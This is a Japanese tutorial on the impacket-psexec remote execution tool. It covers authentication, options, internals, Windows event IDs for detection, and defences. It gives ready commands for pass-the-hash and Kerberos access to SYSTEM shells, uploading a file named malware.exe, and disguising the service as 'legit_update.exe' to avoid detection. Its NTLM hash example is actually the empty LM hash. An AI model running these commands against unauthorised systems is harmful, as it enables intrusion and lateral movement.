impacket-psexec 徹底解説:使い方と活用例

Windowsネットワークの管理やペネトレーションテストにおいて、リモートホスト上でコマンドを実行する必要性は頻繁に生じます。そのような状況で強力な味方となるのが、Impacketスイートに含まれる psexec.py スクリプト、通称 impacket-psexec です。この記事では、impacket-psexec の基本的な使い方から応用的なテクニック、そして利用上の注意点まで、網羅的に解説します。

Impacket と psexec とは?

Impacket について

Impacketは、ネットワークプロトコルを扱うためのPythonクラスのコレクションです。特に、Windows環境で広く利用されているSMB (Server Message Block)、MSRPC (Microsoft Remote Procedure Call)、NetBIOS、Kerberosといったプロトコルを低レベルで操作することに焦点を当てています。これにより、ネットワークの探索、脆弱性検証、ペネトレーションテストなど、多岐にわたるタスクを実行するためのスクリプトやツールを開発できます。Impacket自体はライブラリですが、その機能を活用した多数のサンプルスクリプトが提供されており、psexec.py もその一つです。

Impacketは、Fortra社のCore Securityによってメンテナンスされており、GitHub上でオープンソースとして公開されています。多くのセキュリティ専門家や研究者によって広く利用されています。

psexec について

PsExecは、元々MicrosoftのSysinternalsスイート(現在はMicrosoft Learnで提供)に含まれるツールの一つです。リモートのWindowsシステム上でプロセスを実行するための軽量なコマンドラインユーティリティであり、telnetなどの古いツールに代わるものとして開発されました。PsExecの大きな利点は、リモートシステムにクライアントソフトウェアを手動でインストールする必要がない点です。管理者権限があれば、ネットワーク経由でコマンドプロンプトを開いたり、特定のプログラムを実行したりできます。正規の管理ツールであるため、環境寄生型(Living off the Land, LotL)攻撃で悪用されることもあります。

impacket-psexec とは?

impacket-psexec (psexec.py) は、Impacketライブラリを使用して、オリジナルのPsExecと同様の機能をPythonで実装したものです。LinuxやmacOSなど、Windows以外の環境からでも、Windowsターゲットに対してリモートでコマンドを実行したり、インタラクティブなシェルを取得したりすることができます。オリジナルのPsExecと同様に、SMBプロトコルとRPCを利用して動作します。

ポイント: impacket-psexec は、Impacketライブラリの一部であり、オリジナルのPsExecの機能をクロスプラットフォームで利用可能にしたものです。

前提条件

impacket-psexec を使用するには、いくつかの準備が必要です。

  • Python環境: ImpacketはPythonで書かれているため、Python 3 がインストールされている必要があります。
  • Impacketのインストール: Impacketライブラリとサンプルスクリプトをインストールする必要があります。通常、以下のコマンドでインストールできます。
    pip install impacket
    または、GitHubリポジトリからクローンしてインストールすることも可能です。
    git clone https://github.com/fortra/impacket.git
    cd impacket/
    pip install .
    Kali Linuxなどのペネトレーションテスト用ディストリビューションには、プリインストールされている場合が多いです。
  • ネットワーク要件:
    • 攻撃元マシンからターゲットのWindowsマシンへ、SMBプロトコルで使用されるTCPポート445(または状況によっては139)への到達可能性があること。
    • 場合によっては、RPC通信のためにTCPポート135も利用されることがあります。
  • ターゲットマシンの要件:
    • ターゲットマシン上で管理者権限を持つアカウントの認証情報(ユーザー名とパスワード、またはパスワードハッシュ)が必要です。
    • ファイルとプリンターの共有が有効になっていること(通常、SMB通信に必要)。
    • 管理者共有 (ADMIN$, C$ など) へのアクセスが可能であること。impacket-psexec は実行ファイルをADMIN$共有にアップロードするためです。
注意: ファイアウォールやエンドポイントセキュリティ製品(アンチウイルスソフトなど)が impacket-psexec の動作をブロックすることがあります。Windows Defenderなどは、psexec.py が使用する実行ファイル(RemComSvc)を検知して隔離することがあります。

基本的な使い方

impacket-psexec の基本的なコマンド構文は以下の通りです。

psexec.py <ドメイン>/<ユーザー名>:<パスワード>@<ターゲットIPまたはホスト名> [実行したいコマンド]

各要素の説明:

  • <ドメイン>/: ターゲットマシンがActive Directoryドメインに参加している場合に指定します。ワークグループ環境の場合は省略可能です。
  • <ユーザー名>: ターゲットマシン上で管理者権限を持つユーザーのアカウント名。
  • :<パスワード>: 上記ユーザーのパスワード。パスワードを省略すると、入力プロンプトが表示されます。
  • @<ターゲットIPまたはホスト名>: コマンドを実行したいリモートマシンのIPアドレスまたはホスト名。
  • [実行したいコマンド]: リモートで実行したいコマンド。省略した場合、デフォルトでインタラクティブなコマンドプロンプト (cmd.exe) が起動します。

実行例:リモートホストで `whoami` を実行

ターゲットIPアドレスが 192.168.1.100、ユーザー名が Administrator、パスワードが Password123 の場合、リモートで whoami コマンドを実行するには以下のようにします。

psexec.py Administrator:Password123@192.168.1.100 whoami

ドメイン CORP に参加している場合は以下のようになります。

psexec.py CORP/Administrator:Password123@192.168.1.100 whoami

インタラクティブシェルの取得

コマンドを指定せずに実行すると、リモートマシンのインタラクティブなコマンドシェル(通常は cmd.exe)に接続します。

psexec.py CORP/Administrator:Password123@192.168.1.100

接続に成功すると、以下のようなプロンプトが表示され、リモートコマンドを入力できるようになります。

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.1.100.....
[*] Found writable share ADMIN$
[*] Uploading file XoEzMnOP.exe
[*] Opening SVCManager on 192.168.1.100.....
[*] Creating service qRtYwXzA on 192.168.1.100.....
[*] Starting service qRtYwXzA.....
[+] Service qRtYwXzA created and started!
[*] Interacting with remote shell.....

Microsoft Windows [Version 10.0.19045.xxxx]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

このシェル上で実行されるコマンドは、通常 NT AUTHORITY\SYSTEM 権限で実行されます。シェルを終了するには exit と入力します。

ヒント: 実行時にサービス名やアップロードされる実行ファイル名はランダムに生成されますが、オプションで指定することも可能です。

認証方法の詳細

impacket-psexec は、いくつかの認証方法をサポートしています。

パスワード認証

最も基本的な方法で、ユーザー名と平文のパスワードを使用します。

psexec.py <ドメイン>/<ユーザー名>:<パスワード>@<ターゲット>

Pass-the-Hash (PtH) 認証

平文のパスワードの代わりに、ユーザーのNTLMパスワードハッシュを使用して認証するテクニックです。これにより、パスワード自体を知らなくても、そのユーザーになりすましてリモートシステムにアクセスできます。これは特にペネトレーションテストで強力な手法です。

-hashes オプションを使用し、LMハッシュとNTLMハッシュをコロン区切りで指定します。LMハッシュは通常古い形式であり、現代のWindows環境では空(または固定値)であることが多いので、NTLMハッシュのみを指定することが一般的です。LMハッシュ部分を空にするか、00000000000000000000000000000000 のようなダミー値を指定します。

psexec.py <ドメイン>/<ユーザー名>@<ターゲット> -hashes <LMハッシュ>:<NTLMハッシュ>

例:LMハッシュを空にし、NTLMハッシュ aad3b435b51404eeaad3b435b51404ee を使用する場合

psexec.py CORP/Administrator@192.168.1.100 -hashes :aad3b435b51404eeaad3b435b51404ee

または

psexec.py CORP/Administrator@192.168.1.100 -hashes 00000000000000000000000000000000:aad3b435b51404eeaad3b435b51404ee
Pass-the-Hash: この攻撃手法は、システムから抽出したハッシュ情報を悪用するものです。詳細については、Pass-the-Hash攻撃に関する資料を参照してください。防御策としては、管理者権限の厳格な管理、LSA保護の有効化、定期的なパスワード変更などが挙げられます。

Kerberos 認証

Active Directory環境では、Kerberos認証を使用することも可能です。-k オプションを使用すると、Impacketは環境変数 KRB5CCNAME で指定されたKerberosチケットキャッシュファイル(ccache)から有効なチケットを探して認証を試みます。チケットがない場合や無効な場合は、指定されたパスワード(またはハッシュ)を使用してチケットを取得しようとします。

psexec.py <ドメイン>/<ユーザー名>@<ターゲット> -k

Kerberos認証を使用する場合、ドメインコントローラーのIPアドレスを -dc-ip オプションで明示的に指定する必要がある場合があります。また、ターゲット名はKerberosが認識できるFQDN(完全修飾ドメイン名)を使用することが推奨されます。

export KRB5CCNAME=/tmp/kerberos_cache
psexec.py CORP/Administrator@target.corp.local -k -dc-ip 192.168.1.1

AESキー(128ビットまたは256ビット)を直接使用してKerberos認証を行うことも可能です(-aesKey オプション)。

psexec.py CORP/Administrator@target.corp.local -aesKey <16進数AESキー>

応用的な使い方とオプション

impacket-psexec は、基本的なコマンド実行以外にも様々なオプションを提供しています。psexec.py -h でヘルプメッセージを表示できます。

オプション 説明
-h, --help ヘルプメッセージを表示して終了します。
-debug デバッグモードを有効にし、詳細なログを出力します。問題発生時のトラブルシューティングに役立ちます。
-codec <コーデック名> リモートシェルとの通信に使用する文字コードを指定します(例: cp932 で日本語Shift_JIS)。日本語環境で文字化けする場合に有効です。
-hashes <LMHASH:NTHASH> NTLMハッシュを使用して認証します(Pass-the-Hash)。
-no-pass パスワードの入力を求めません。Kerberos認証 (-k) やAESキー (-aesKey) を使用する場合に便利です。
-k Kerberos認証を使用します。環境変数 KRB5CCNAME で指定されたccacheファイルからチケットを取得します。
-aesKey <16進数キー> 指定されたAESキー(128ビットまたは256ビット)を使用してKerberos認証を行います。
-dc-ip <IPアドレス> ドメインコントローラーのIPアドレスを明示的に指定します。Kerberos認証や特定の操作で必要になることがあります。
-service-name <サービス名> リモートマシン上に作成されるサービスの名前を指定します。デフォルトではランダムな名前が生成されます。検知回避のために変更することがあります。
-remote-binary-name <ファイル名> リモートマシンにアップロードされる実行ファイルの名前を指定します。デフォルトではランダムな名前 (例: XXXXYYYY.exe) が生成されます。検知回避のために変更することがあります。

インタラクティブシェル内のコマンド

impacket-psexec のインタラクティブシェル内では、いくつかのメタコマンドが利用可能です。

  • lcd <ローカルディレクトリ>: 攻撃元マシンのカレントディレクトリを変更します。
  • put <ローカルファイルパス> [リモートファイルパス]: 攻撃元マシンからターゲットマシンへファイルをアップロードします。リモートパスを省略すると、ターゲットのカレントディレクトリに同じファイル名で保存されます。
  • get <リモートファイルパス> [ローカルファイルパス]: ターゲットマシンから攻撃元マシンへファイルをダウンロードします。ローカルパスを省略すると、攻撃元のカレントディレクトリに同じファイル名で保存されます。
  • exit: インタラクティブシェルを終了します。

例:ローカルの malware.exe をターゲットの C:\temp\ にアップロードする

C:\Windows\system32> put /home/user/malware.exe C:\temp\malware.exe

動作メカニズムの概要

impacket-psexec がどのように動作するかを理解することは重要です。

  1. 認証と共有アクセス: 指定された認証情報(パスワードまたはハッシュ)を使用して、ターゲットマシンのSMBサービスに接続し、認証を行います。
  2. 実行ファイルのアップロード: 書き込み可能な管理者共有(通常はADMIN$)を見つけ、そこにサービス実行用のバイナリ(RemComSvcの改変版、デフォルトではランダムな名前の.exeファイル)をアップロードします。
  3. サービス作成と開始: RPC(具体的にはMS-SCMRインターフェース)を使用して、リモートマシンのサービスコントロールマネージャ(SCM)に接続し、アップロードした実行ファイルを起動する新しいWindowsサービスを作成・開始します。サービス名はデフォルトではランダムです。
  4. 通信チャネル確立: 開始されたサービスは、名前付きパイプ(Named Pipe)を作成し、impacket-psexec クライアントとの間で標準入力(stdin)、標準出力(stdout)、標準エラー出力(stderr)をリダイレクトするための通信チャネルを確立します。
  5. コマンド実行/シェル対話: この通信チャネルを通じて、クライアントはコマンドを送信し、サービスはそれを実行して結果をクライアントに返します。コマンドが指定されていない場合は、cmd.exe が起動され、インタラクティブなシェルが提供されます。
  6. クリーンアップ: クライアントが切断されると、impacket-psexec は作成したサービスとアップロードした実行ファイルをリモートマシンから削除しようと試みます。

実践的な例

例1:パスワードで認証し、`ipconfig /all` を実行

psexec.py LAB/User1:Password123@10.0.0.5 "ipconfig /all"

LABドメインのUser1として、IPアドレス10.0.0.5のマシンにパスワードで認証し、ipconfig /all コマンドを実行します。結果はコンソールに出力されます。

例2:Pass-the-Hashで認証し、インタラクティブシェルを取得 (日本語環境)

psexec.py WORKGROUP/AdminUser@192.168.10.20 -hashes :abcdef1234567890abcdef1234567890 -codec cp932

WORKGROUPのAdminUserとして、IPアドレス192.168.10.20のマシンにNTLMハッシュで認証し、インタラクティブシェルを取得します。-codec cp932 を指定することで、日本語の表示が期待できます。

例3:Kerberosチケットで認証し、PowerShellスクリプトを実行

まず、Kerberosチケットを取得します(例: kinitを使用)。

kinit Administrator@CORP.LOCAL

環境変数 KRB5CCNAME がチケットファイルを指していることを確認し、psexec.pyを実行します。

export KRB5CCNAME=/tmp/krb5cc_0
psexec.py CORP.LOCAL/Administrator@dc01.corp.local -k "powershell.exe -ExecutionPolicy Bypass -File C:\scripts\setup.ps1"

Kerberosチケットを使用して dc01.corp.local に接続し、C:\scripts\setup.ps1 というPowerShellスクリプトを実行します。

例4:カスタムサービス名と実行ファイル名を使用

psexec.py AdminUser:Pa$$w0rd@172.16.5.5 -service-name UpdaterSvc -remote-binary-name legit_update.exe

検知を回避する目的で、サービス名を “UpdaterSvc”、アップロードする実行ファイル名を “legit_update.exe” に偽装して接続します。

セキュリティ上の考慮事項と倫理

impacket-psexec は非常に強力なツールですが、その能力ゆえに悪用される危険性も伴います。利用にあたっては、以下の点に十分注意する必要があります。

  • 法的・倫理的な利用: このツールは、あなたが管理権限を持つシステム、または明示的にテストの許可を得ているシステムに対してのみ使用してください。許可なく他者のシステムにアクセスし、操作することは、法律で禁止されており、重大な倫理違反となります。
  • 認証情報の管理: Pass-the-Hashなどの攻撃が可能であるため、特に管理者アカウントのパスワードハッシュが漏洩しないように、厳重な管理が必要です。
  • 検知とログ記録: impacket-psexec の利用は、ターゲットシステム上でイベントログ(サービス作成ログ: Event ID 7045、プロセス作成ログ: Event ID 4688、SMBアクセスログ: Event ID 5145 など)に記録される可能性があります。セキュリティ監視システム(SIEMなど)は、これらのログを分析して不審なリモート実行アクティビティを検知できます。
  • 防御策:
    • 不要なアカウントの管理者権限を剥奪する。
    • 強力なパスワードポリシーを適用し、定期的にパスワードを変更する。
    • 可能であれば、NTLM認証を無効化し、Kerberosのみを使用する。
    • Windows Defender Credential Guardなどの認証情報保護機能を有効にする。
    • LSA保護(RunAsPPL)を有効にして、lsass.exeプロセスからのハッシュ抽出を困難にする。
    • エンドポイントセキュリティ製品を最新の状態に保ち、不審なサービス作成やプロセス実行を監視・ブロックする。
    • ネットワークセグメンテーションやファイアウォールで、不要なSMB/RPC通信を制限する。

警告: 不正アクセスは犯罪です

impacket-psexec を含むImpacketツール群は、セキュリティ評価やシステム管理の目的で設計されていますが、悪意を持って使用すれば深刻な被害を引き起こす可能性があります。常に法律と倫理規範を遵守し、責任ある行動を心がけてください。

まとめ

impacket-psexec (psexec.py) は、Impacketスイートの一部として提供される強力なリモートコマンド実行ツールです。WindowsのオリジナルのPsExecと同様の機能を、Pythonを通じてクロスプラットフォームで利用可能にします。パスワード認証、Pass-the-Hash、Kerberos認証など、多様な認証方式に対応しており、システム管理者やペネトレーションテスターにとって非常に便利なツールです。

しかし、その強力さゆえに、不正利用のリスクも伴います。常に利用許可を確認し、法的・倫理的な範囲内で責任を持って使用することが不可欠です。また、防御側の視点からは、このツールの動作原理を理解し、適切なログ監視やセキュリティ対策を講じることが重要となります。

この記事が、impacket-psexec の理解と適切な活用の一助となれば幸いです。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です